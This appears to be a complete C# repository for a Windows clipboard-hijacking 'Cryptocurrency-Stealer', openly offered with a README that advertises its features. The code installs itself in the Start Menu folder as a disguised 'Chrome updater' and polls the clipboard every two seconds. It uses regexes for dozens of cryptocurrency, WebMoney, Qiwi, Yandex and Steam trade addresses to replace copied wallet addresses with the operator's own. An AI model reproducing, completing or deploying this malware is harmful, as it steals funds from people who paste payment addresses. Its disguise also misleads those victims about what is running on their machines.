├── Stealer
    ├── Stealer
    │   ├── App.config
    │   ├── Properties
    │   │   ├── Settings.settings
    │   │   ├── Settings.Designer.cs
    │   │   ├── AssemblyInfo.cs
    │   │   ├── Resources.Designer.cs
    │   │   └── Resources.resx
    │   ├── Modules
    │   │   ├── Mutex.cs
    │   │   ├── Attributes.cs
    │   │   ├── Autorun.cs
    │   │   ├── Clipboard.cs
    │   │   ├── Monitor.cs
    │   │   └── Patterns.cs
    │   ├── Program.cs
    │   ├── config.cs
    │   └── Stealer.csproj
    └── Stealer.sln
├── README.md
└── .gitignore


/Stealer/Stealer/App.config:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8" ?>
2 | <configuration>
3 |     <startup> 
4 |         <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
5 |     </startup>
6 | </configuration>


--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 | <?xml version='1.0' encoding='utf-8'?>
2 | <SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
3 |   <Profiles>
4 |     <Profile Name="(Default)" />
5 |   </Profiles>
6 |   <Settings />
7 | </SettingsFile>
8 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # :money_with_wings: Cryptocurrency-Stealer
 2 | Replace any BTC, XMR, XLM, ETH, XRP, LTC, BCH, NEC, ZCASH, DASH, DOGE, WMR, WMG, WMX, Yandex money, Qiwi address to yours.
 3 | 
 4 | # :star2: Info
 5 | - [X] 10-13~ kilobytes executable
 6 | - [X] No admininistrator rights required
 7 | - [X] Hide file after start
 8 | - [X] Autorun
 9 | - [X] Open source
10 | 
11 | # :gear: Configuration file
12 | <p align="left">
13 | <img src="https://suicide.ooo/d3dxJYt.png">
14 | <p/>
15 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Mutex.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | using System.Threading;
 3 | 
 4 | namespace Stealer.Modules
 5 | {
 6 |     class AppMutex
 7 |     {
 8 |         // Check mutex
 9 |         public static void Check()
10 |         {
11 |             bool createdNew = false;
12 |             // Check
13 |             Mutex currentApp = new Mutex(false, config.mutex, out createdNew);
14 |             if (!createdNew)
15 |                 Environment.Exit(1);
16 |         }
17 |     }
18 | }
19 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Attributes.cs:
--------------------------------------------------------------------------------
 1 | using System.IO;
 2 | 
 3 | namespace Stealer.Modules
 4 | {
 5 |     internal sealed class Attributes
 6 |     {
 7 |         // File path
 8 |         private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location;
 9 |         private static FileInfo file = new FileInfo(executable);
10 | 
11 |         // Add 'hidden' attribute to file
12 |         public static void set_hidden()
13 |         {
14 |             if (config.attribute_hidden)
15 |                 file.Attributes |= FileAttributes.Hidden;
16 |         }
17 | 
18 |         // Add 'system' attribute to file
19 |         public static void set_system()
20 |         {
21 |             if (config.attribute_system)
22 |                 file.Attributes |= FileAttributes.System;
23 |         }
24 |     }
25 | }
26 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Autorun.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | using System.IO;
 3 | 
 4 | namespace Stealer.Modules
 5 | {
 6 |     internal sealed class Autorun
 7 |     {
 8 |         // Autorun path
 9 |         private static string startup_directory = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu);
10 |         private static string executeable = System.Reflection.Assembly.GetEntryAssembly().Location;
11 | 
12 |         // Check if app installed to autorun
13 | 
14 |         public static bool is_installed()
15 |         {
16 |             return File.Exists($"{startup_directory}\\{config.autorun_name}.exe");
17 |         }
18 | 
19 |         // Install app to autorun
20 |         public static void install()
21 |         {
22 |             if (config.autorun_enabled)
23 |                 File.Copy(executeable, $"{startup_directory}\\{config.autorun_name}.exe");
24 |         }
25 |     }
26 | }
27 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Program.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | 
 3 | namespace Stealer
 4 | {
 5 |     static class Program
 6 |     {
 7 |         /// <summary>
 8 |         /// The main entry point for the application.
 9 |         /// </summary>
10 |         [STAThreadAttribute]
11 |         static void Main()
12 |         {
13 |             // Check mutex
14 |             Modules.AppMutex.Check();
15 |             // Add to startup
16 |             if (!Modules.Autorun.is_installed())
17 |                 Modules.Autorun.install();
18 | 
19 |             /* The functions are disabled because if the file is in the startup folder and it is hidden,
20 |                then it will not be launched.
21 |                // Set hidden & system attribtues
22 |                Modules.Attributes.set_hidden();
23 |                Modules.Attributes.set_system(); */
24 | 
25 |             // Start clipper
26 |             Modules.ClipboardMonitor.run();
27 |         }
28 |     }
29 | }
30 | 


--------------------------------------------------------------------------------
/Stealer/Stealer.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 16
 4 | VisualStudioVersion = 16.0.31129.286
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stealer", "Stealer\Stealer.csproj", "{A5261687-D821-486A-B2AC-4D35F1EA2540}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|Any CPU = Debug|Any CPU
11 | 		Release|Any CPU = Release|Any CPU
12 | 	EndGlobalSection
13 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | 		{A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | 		{A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | 		{A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | 		{A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.Build.0 = Release|Any CPU
18 | 	EndGlobalSection
19 | 	GlobalSection(SolutionProperties) = preSolution
20 | 		HideSolutionNode = FALSE
21 | 	EndGlobalSection
22 | 	GlobalSection(ExtensibilityGlobals) = postSolution
23 | 		SolutionGuid = {0A2B5562-F114-43D7-9E79-A05BDB426BDD}
24 | 	EndGlobalSection
25 | EndGlobal
26 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
 1 | //------------------------------------------------------------------------------
 2 | // <auto-generated>
 3 | //     This code was generated by a tool.
 4 | //     Runtime Version:4.0.30319.42000
 5 | //
 6 | //     Changes to this file may cause incorrect behavior and will be lost if
 7 | //     the code is regenerated.
 8 | // </auto-generated>
 9 | //------------------------------------------------------------------------------
10 | 
11 | 
12 | namespace Stealer.Properties
13 | {
14 |     [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 |     [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
16 |     internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
17 |     {
18 | 
19 |         private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
20 | 
21 |         public static Settings Default
22 |         {
23 |             get
24 |             {
25 |                 return defaultInstance;
26 |             }
27 |         }
28 |     }
29 | }
30 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Clipboard.cs:
--------------------------------------------------------------------------------
 1 | using System.Threading;
 2 | 
 3 | namespace Stealer.Modules
 4 | {
 5 |     internal sealed class Clipboard
 6 |     {
 7 |         // Get text from clipboard
 8 |         public static string GetText()
 9 |         {
10 |             string ReturnValue = string.Empty;
11 |             try
12 |             {
13 |                 Thread STAThread = new Thread(
14 |                     delegate ()
15 |                     {
16 |                         ReturnValue = System.Windows.Forms.Clipboard.GetText();
17 |                     });
18 |                 STAThread.SetApartmentState(ApartmentState.STA);
19 |                 STAThread.Start();
20 |                 STAThread.Join();
21 |             }
22 |             catch
23 |             {
24 | 
25 |             }
26 |             return ReturnValue;
27 |         }
28 | 
29 |         // Set text to clipboard
30 |         public static void SetText(string text)
31 |         {
32 |             Thread STAThread = new Thread(
33 |                     delegate ()
34 |                     {
35 |                         try
36 |                         {
37 |                             System.Windows.Forms.Clipboard.SetText(text);
38 |                         }
39 |                         catch
40 |                         {
41 | 
42 |                         }
43 |                     });
44 |             STAThread.SetApartmentState(ApartmentState.STA);
45 |             STAThread.Start();
46 |             STAThread.Join();
47 |         }
48 |     }
49 | }
50 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
 1 | using System.Reflection;
 2 | using System.Runtime.CompilerServices;
 3 | using System.Runtime.InteropServices;
 4 | 
 5 | // General Information about an assembly is controlled through the following
 6 | // set of attributes. Change these attribute values to modify the information
 7 | // associated with an assembly.
 8 | [assembly: AssemblyTitle("Stealer")]
 9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Stealer")]
13 | [assembly: AssemblyCopyright("Copyright ©  2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 | 
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components.  If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 | 
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("a5261687-d821-486a-b2ac-4d35f1ea2540")]
24 | 
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | //      Major Version
28 | //      Minor Version
29 | //      Build Number
30 | //      Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Monitor.cs:
--------------------------------------------------------------------------------
 1 | using System.Collections.Generic;
 2 | using System.Text.RegularExpressions;
 3 | 
 4 | namespace Stealer.Modules
 5 | {
 6 |     internal sealed class ClipboardMonitor
 7 |     {
 8 |         // Previous clipboard content
 9 |         private static string previous_buffer = "";
10 | 
11 |         // Clipboard is changed
12 |         private static bool clipboard_changed(string buffer)
13 |         {
14 |             if (buffer != previous_buffer)
15 |             {
16 |                 previous_buffer = buffer;
17 |                 return true;
18 |             }
19 |             return false;
20 |         }
21 | 
22 |         // Find & Replace crypto addresses in clipboard
23 |         private static void replace_clipboard(string buffer)
24 |         {
25 |             if (string.IsNullOrEmpty(buffer))
26 |                 return;
27 |             foreach (KeyValuePair<string, Regex> dictonary in RegexPatterns.patterns)
28 |             {
29 |                 string cryptocurrency = dictonary.Key;
30 |                 Regex pattern = dictonary.Value;
31 |                 if (pattern.Match(buffer).Success)
32 |                 {
33 |                     string replace_to = config.addresses[cryptocurrency];
34 |                     if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to))
35 |                     {
36 |                         Clipboard.SetText(replace_to);
37 |                         return;
38 |                     }
39 |                 }
40 |             }
41 |         }
42 | 
43 |         // Run loop
44 |         public static void run()
45 |         {
46 |             while (true)
47 |             {
48 |                 string buffer = Clipboard.GetText();
49 |                 if (clipboard_changed(buffer))
50 |                     replace_clipboard(buffer);
51 |                 System.Threading.Thread.Sleep(config.clipboard_check_delay * 1000);
52 |             }
53 |         }
54 |     }
55 | }
56 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/config.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | using System.Collections.Generic;
 3 | using System.Linq;
 4 | using System.Text;
 5 | using System.Threading.Tasks;
 6 | 
 7 | namespace Stealer
 8 | {
 9 |     internal sealed class config
10 |     {
11 |         // Autorun
12 |         public static bool autorun_enabled = true;
13 |         public static string autorun_name = "Chrome updater";
14 |         // Set 'hidden' attribute
15 |         public static bool attribute_hidden = true;
16 |         // Set 'system' attribute
17 |         public static bool attribute_system = true;
18 |         // Clipboard check delay in seconds
19 |         public static int clipboard_check_delay = 2;
20 |         // Replace to
21 |         public static Dictionary<string, string> addresses = new Dictionary<string, string>()
22 |         {
23 |             // WebMoney
24 |             {"wmr", "" },
25 |             {"wmg", "" },
26 |             {"wmz", "" },
27 |             {"wmh", "" },
28 |             {"wmu", "" },
29 |             {"wmx", "" },
30 | 
31 |             // Qiwi
32 |             {"qiwiua", "" }, // UA
33 |             {"qiwiru", "" }, // RU
34 | 
35 |             // Yandex money
36 |             {"yandex", "" },
37 | 
38 |             // Steam trade url
39 |             {"steam", "" },
40 | 
41 |             // Cryptocurrency
42 |             {"btc", "" }, // Bitcoin
43 |             {"eth", "" }, // Ethereum
44 |             {"xmr", "" }, // Monero
45 |             {"xlm", "" }, // Stellar
46 |             {"xrp", "" }, // Ripple
47 |             {"ltc", "" }, // Litecoin
48 |             {"nec", "" }, // Neocoin
49 |             {"bch", "" }, // Bitcoin Cash
50 |             {"bcn", "" }, // Bytecoin
51 |             {"ada", "" }, // Cardano
52 |             {"grft", "" }, // Graft
53 |             {"zcash", ""}, // Zcash
54 |             {"btg", "" },  // Bitcoin Gold
55 |             {"waves", "" }, // Waves
56 |             {"rdd", "" }, // ReddCoin
57 |             {"blk", "" }, // BlackCoin
58 |             {"emc", "" }, // Emercoin
59 |             {"strat", "" }, // Stratis
60 |             {"qtum", "" }, // Qtum
61 |             {"via", "" }, // Viacoin
62 |             {"lsk", "" }, // Lisk
63 |             {"doge", "" }, // Dogecoin
64 |             {"dash", "" } // Dashcoin
65 |         };
66 | 
67 |         // Mutex (random)
68 |         public static string mutex = "asuhdvaystdvytasdvtyasvdfctyasd";
69 |     }
70 | }
71 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Modules/Patterns.cs:
--------------------------------------------------------------------------------
 1 | using System.Collections.Generic;
 2 | using System.Text.RegularExpressions;
 3 | 
 4 | namespace Stealer.Modules
 5 | {
 6 |     internal sealed class RegexPatterns
 7 |     {
 8 |         public static Dictionary<string, Regex> patterns = new Dictionary<string, Regex>()
 9 |         {
10 |             // WebMoney
11 |             {"wmr", new Regex(@"R[0-9]{12}") },
12 |             {"wmg", new Regex(@"G[0-9]{12}") },
13 |             {"wmz", new Regex(@"Z[0-9]{12}") },
14 |             {"wmh", new Regex(@"H[0-9]{12}") },
15 |             {"wmu", new Regex(@"U[0-9]{12}") },
16 |             {"wmx", new Regex(@"X[0-9]{12}") },
17 |             // Qiwi
18 |             {"qiwiua", new Regex(@"380[0-9]{9}") }, // UA
19 |             {"qiwiru", new Regex(@"79[0-9]{9}") }, // RU
20 |             // Yandex money
21 |             {"yandex", new Regex(@"41001[0-9]{10}") },
22 |             // Steam trade url
23 |             {"steam", new Regex(@"steamcommunity[.]com/tradeoffer/new/[?]partner=[0-9]{9}&token=[A-z0-9_]{8}") },
24 |             // Cryptocurrency
25 |             {"btc", new Regex(@"(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") }, // Bitcoin
26 |             {"eth", new Regex(@"(?:^0x[a-fA-F0-9]{40}$)") }, // Ethereum
27 |             {"xmr", new Regex(@"(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") }, // Monero
28 |             {"xlm", new Regex(@"(?:^G[0-9a-zA-Z]{55}$)") }, // Stellar
29 |             {"xrp", new Regex(@"(?:^r[0-9a-zA-Z]{24,34}$)") }, // Ripple
30 |             {"ltc", new Regex(@"(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") }, // Litecoin
31 |             {"nec", new Regex(@"(?:^A[0-9a-zA-Z]{33}$)") }, // Neocoin
32 |             {"bch", new Regex(@"^((bitcoincash:)?(q|p)[a-z0-9]{41})") }, // Bitcoin Cash
33 |             {"bcn", new Regex(@"2[1-9A-z]{105}") }, // Bytecoin
34 |             {"ada", new Regex(@"DdzFFzCqrht[1-9A-z]{93}") }, // Cardano
35 |             {"grft", new Regex(@"G[1-9][1-9A-z]{93}") }, // Graft
36 |             {"zcash", new Regex(@"t1[0-9A-z]{33}") }, // Zcash
37 |             {"btg", new Regex(@"G[A-z][1-9A-z]{32}") }, // Bitcoin Gold
38 |             {"waves", new Regex(@"3P[1-9A-z]{33}") }, // Waves
39 |             {"rdd", new Regex(@"R[1-9a-z][1-9A-z]{32}") }, // ReddCoin
40 |             {"blk", new Regex(@"B[1-9a-z][1-9A-z]{32}") }, // BlackCoin
41 |             {"emc", new Regex(@"E[A-z][1-9A-z]{32}") }, // Emercoin
42 |             {"strat", new Regex(@"S[A-z][1-9A-z]{32}") }, // Stratis
43 |             {"qtum", new Regex(@"Q[A-z][1-9A-z]{32}") }, // Qtum
44 |             {"via", new Regex(@"V[a-z][A-z][1-9A-z]{31}") }, // Viacoin
45 |             {"lsk", new Regex(@"[0-9]{20}L") }, // Lisk
46 |             {"doge", new Regex(@"D[A-Z1-9][1-9A-z]{32}") }, // Dogecoin
47 |             {"dash", new Regex(@"(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") } // Dashcoin
48 |         };
49 |     }
50 | }
51 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
 1 | //------------------------------------------------------------------------------
 2 | // <auto-generated>
 3 | //     This code was generated by a tool.
 4 | //     Runtime Version:4.0.30319.42000
 5 | //
 6 | //     Changes to this file may cause incorrect behavior and will be lost if
 7 | //     the code is regenerated.
 8 | // </auto-generated>
 9 | //------------------------------------------------------------------------------
10 | 
11 | 
12 | namespace Stealer.Properties
13 | {
14 |     /// <summary>
15 |     ///   A strongly-typed resource class, for looking up localized strings, etc.
16 |     /// </summary>
17 |     // This class was auto-generated by the StronglyTypedResourceBuilder
18 |     // class via a tool like ResGen or Visual Studio.
19 |     // To add or remove a member, edit your .ResX file then rerun ResGen
20 |     // with the /str option, or rebuild your VS project.
21 |     [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
22 |     [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
23 |     [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
24 |     internal class Resources
25 |     {
26 | 
27 |         private static global::System.Resources.ResourceManager resourceMan;
28 | 
29 |         private static global::System.Globalization.CultureInfo resourceCulture;
30 | 
31 |         [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 |         internal Resources()
33 |         {
34 |         }
35 | 
36 |         /// <summary>
37 |         ///   Returns the cached ResourceManager instance used by this class.
38 |         /// </summary>
39 |         [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
40 |         internal static global::System.Resources.ResourceManager ResourceManager
41 |         {
42 |             get
43 |             {
44 |                 if ((resourceMan == null))
45 |                 {
46 |                     global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stealer.Properties.Resources", typeof(Resources).Assembly);
47 |                     resourceMan = temp;
48 |                 }
49 |                 return resourceMan;
50 |             }
51 |         }
52 | 
53 |         /// <summary>
54 |         ///   Overrides the current thread's CurrentUICulture property for all
55 |         ///   resource lookups using this strongly typed resource class.
56 |         /// </summary>
57 |         [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
58 |         internal static global::System.Globalization.CultureInfo Culture
59 |         {
60 |             get
61 |             {
62 |                 return resourceCulture;
63 |             }
64 |             set
65 |             {
66 |                 resourceCulture = value;
67 |             }
68 |         }
69 |     }
70 | }
71 | 


--------------------------------------------------------------------------------
/Stealer/Stealer/Stealer.csproj:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
 4 |   <PropertyGroup>
 5 |     <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
 6 |     <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
 7 |     <ProjectGuid>{A5261687-D821-486A-B2AC-4D35F1EA2540}</ProjectGuid>
 8 |     <OutputType>WinExe</OutputType>
 9 |     <RootNamespace>Stealer</RootNamespace>
10 |     <AssemblyName>Stealer</AssemblyName>
11 |     <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
12 |     <FileAlignment>512</FileAlignment>
13 |     <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
14 |     <Deterministic>true</Deterministic>
15 |   </PropertyGroup>
16 |   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
17 |     <PlatformTarget>AnyCPU</PlatformTarget>
18 |     <DebugSymbols>true</DebugSymbols>
19 |     <DebugType>full</DebugType>
20 |     <Optimize>false</Optimize>
21 |     <OutputPath>bin\Debug\</OutputPath>
22 |     <DefineConstants>DEBUG;TRACE</DefineConstants>
23 |     <ErrorReport>prompt</ErrorReport>
24 |     <WarningLevel>4</WarningLevel>
25 |   </PropertyGroup>
26 |   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
27 |     <PlatformTarget>AnyCPU</PlatformTarget>
28 |     <DebugType>pdbonly</DebugType>
29 |     <Optimize>true</Optimize>
30 |     <OutputPath>bin\Release\</OutputPath>
31 |     <DefineConstants>TRACE</DefineConstants>
32 |     <ErrorReport>prompt</ErrorReport>
33 |     <WarningLevel>4</WarningLevel>
34 |   </PropertyGroup>
35 |   <ItemGroup>
36 |     <Reference Include="System" />
37 |     <Reference Include="System.Core" />
38 |     <Reference Include="System.Xml.Linq" />
39 |     <Reference Include="System.Data.DataSetExtensions" />
40 |     <Reference Include="Microsoft.CSharp" />
41 |     <Reference Include="System.Data" />
42 |     <Reference Include="System.Deployment" />
43 |     <Reference Include="System.Drawing" />
44 |     <Reference Include="System.Net.Http" />
45 |     <Reference Include="System.Windows.Forms" />
46 |     <Reference Include="System.Xml" />
47 |   </ItemGroup>
48 |   <ItemGroup>
49 |     <Compile Include="config.cs" />
50 |     <Compile Include="Modules\Attributes.cs" />
51 |     <Compile Include="Modules\Autorun.cs" />
52 |     <Compile Include="Modules\Clipboard.cs" />
53 |     <Compile Include="Modules\Monitor.cs" />
54 |     <Compile Include="Modules\Mutex.cs" />
55 |     <Compile Include="Modules\Patterns.cs" />
56 |     <Compile Include="Program.cs" />
57 |     <Compile Include="Properties\AssemblyInfo.cs" />
58 |     <EmbeddedResource Include="Properties\Resources.resx">
59 |       <Generator>ResXFileCodeGenerator</Generator>
60 |       <LastGenOutput>Resources.Designer.cs</LastGenOutput>
61 |       <SubType>Designer</SubType>
62 |     </EmbeddedResource>
63 |     <Compile Include="Properties\Resources.Designer.cs">
64 |       <AutoGen>True</AutoGen>
65 |       <DependentUpon>Resources.resx</DependentUpon>
66 |     </Compile>
67 |     <None Include="Properties\Settings.settings">
68 |       <Generator>SettingsSingleFileGenerator</Generator>
69 |       <LastGenOutput>Settings.Designer.cs</LastGenOutput>
70 |     </None>
71 |     <Compile Include="Properties\Settings.Designer.cs">
72 |       <AutoGen>True</AutoGen>
73 |       <DependentUpon>Settings.settings</DependentUpon>
74 |       <DesignTimeSharedInput>True</DesignTimeSharedInput>
75 |     </Compile>
76 |   </ItemGroup>
77 |   <ItemGroup>
78 |     <None Include="App.config" />
79 |   </ItemGroup>
80 |   <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
81 | </Project>


--------------------------------------------------------------------------------
/Stealer/Stealer/Properties/Resources.resx:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <root>
  3 |   <!-- 
  4 |     Microsoft ResX Schema 
  5 |     
  6 |     Version 2.0
  7 |     
  8 |     The primary goals of this format is to allow a simple XML format 
  9 |     that is mostly human readable. The generation and parsing of the 
 10 |     various data types are done through the TypeConverter classes 
 11 |     associated with the data types.
 12 |     
 13 |     Example:
 14 |     
 15 |     ... ado.net/XML headers & schema ...
 16 |     <resheader name="resmimetype">text/microsoft-resx</resheader>
 17 |     <resheader name="version">2.0</resheader>
 18 |     <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
 19 |     <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
 20 |     <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
 21 |     <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
 22 |     <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
 23 |         <value>[base64 mime encoded serialized .NET Framework object]</value>
 24 |     </data>
 25 |     <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
 26 |         <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
 27 |         <comment>This is a comment</comment>
 28 |     </data>
 29 |                 
 30 |     There are any number of "resheader" rows that contain simple 
 31 |     name/value pairs.
 32 |     
 33 |     Each data row contains a name, and value. The row also contains a 
 34 |     type or mimetype. Type corresponds to a .NET class that support 
 35 |     text/value conversion through the TypeConverter architecture. 
 36 |     Classes that don't support this are serialized and stored with the 
 37 |     mimetype set.
 38 |     
 39 |     The mimetype is used for serialized objects, and tells the 
 40 |     ResXResourceReader how to depersist the object. This is currently not 
 41 |     extensible. For a given mimetype the value must be set accordingly:
 42 |     
 43 |     Note - application/x-microsoft.net.object.binary.base64 is the format 
 44 |     that the ResXResourceWriter will generate, however the reader can 
 45 |     read any of the formats listed below.
 46 |     
 47 |     mimetype: application/x-microsoft.net.object.binary.base64
 48 |     value   : The object must be serialized with 
 49 |             : System.Serialization.Formatters.Binary.BinaryFormatter
 50 |             : and then encoded with base64 encoding.
 51 |     
 52 |     mimetype: application/x-microsoft.net.object.soap.base64
 53 |     value   : The object must be serialized with 
 54 |             : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
 55 |             : and then encoded with base64 encoding.
 56 | 
 57 |     mimetype: application/x-microsoft.net.object.bytearray.base64
 58 |     value   : The object must be serialized into a byte array 
 59 |             : using a System.ComponentModel.TypeConverter
 60 |             : and then encoded with base64 encoding.
 61 |     -->
 62 |   <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
 63 |     <xsd:element name="root" msdata:IsDataSet="true">
 64 |       <xsd:complexType>
 65 |         <xsd:choice maxOccurs="unbounded">
 66 |           <xsd:element name="metadata">
 67 |             <xsd:complexType>
 68 |               <xsd:sequence>
 69 |                 <xsd:element name="value" type="xsd:string" minOccurs="0" />
 70 |               </xsd:sequence>
 71 |               <xsd:attribute name="name" type="xsd:string" />
 72 |               <xsd:attribute name="type" type="xsd:string" />
 73 |               <xsd:attribute name="mimetype" type="xsd:string" />
 74 |             </xsd:complexType>
 75 |           </xsd:element>
 76 |           <xsd:element name="assembly">
 77 |             <xsd:complexType>
 78 |               <xsd:attribute name="alias" type="xsd:string" />
 79 |               <xsd:attribute name="name" type="xsd:string" />
 80 |             </xsd:complexType>
 81 |           </xsd:element>
 82 |           <xsd:element name="data">
 83 |             <xsd:complexType>
 84 |               <xsd:sequence>
 85 |                 <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
 86 |                 <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
 87 |               </xsd:sequence>
 88 |               <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
 89 |               <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
 90 |               <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
 91 |             </xsd:complexType>
 92 |           </xsd:element>
 93 |           <xsd:element name="resheader">
 94 |             <xsd:complexType>
 95 |               <xsd:sequence>
 96 |                 <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
 97 |               </xsd:sequence>
 98 |               <xsd:attribute name="name" type="xsd:string" use="required" />
 99 |             </xsd:complexType>
100 |           </xsd:element>
101 |         </xsd:choice>
102 |       </xsd:complexType>
103 |     </xsd:element>
104 |   </xsd:schema>
105 |   <resheader name="resmimetype">
106 |     <value>text/microsoft-resx</value>
107 |   </resheader>
108 |   <resheader name="version">
109 |     <value>2.0</value>
110 |   </resheader>
111 |   <resheader name="reader">
112 |     <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
113 |   </resheader>
114 |   <resheader name="writer">
115 |     <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
116 |   </resheader>
117 | </root>


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
  1 | ## Ignore Visual Studio temporary files, build results, and
  2 | ## files generated by popular Visual Studio add-ons.
  3 | ##
  4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
  5 | 
  6 | # User-specific files
  7 | *.rsuser
  8 | *.suo
  9 | *.user
 10 | *.userosscache
 11 | *.sln.docstates
 12 | 
 13 | # User-specific files (MonoDevelop/Xamarin Studio)
 14 | *.userprefs
 15 | 
 16 | # Mono auto generated files
 17 | mono_crash.*
 18 | 
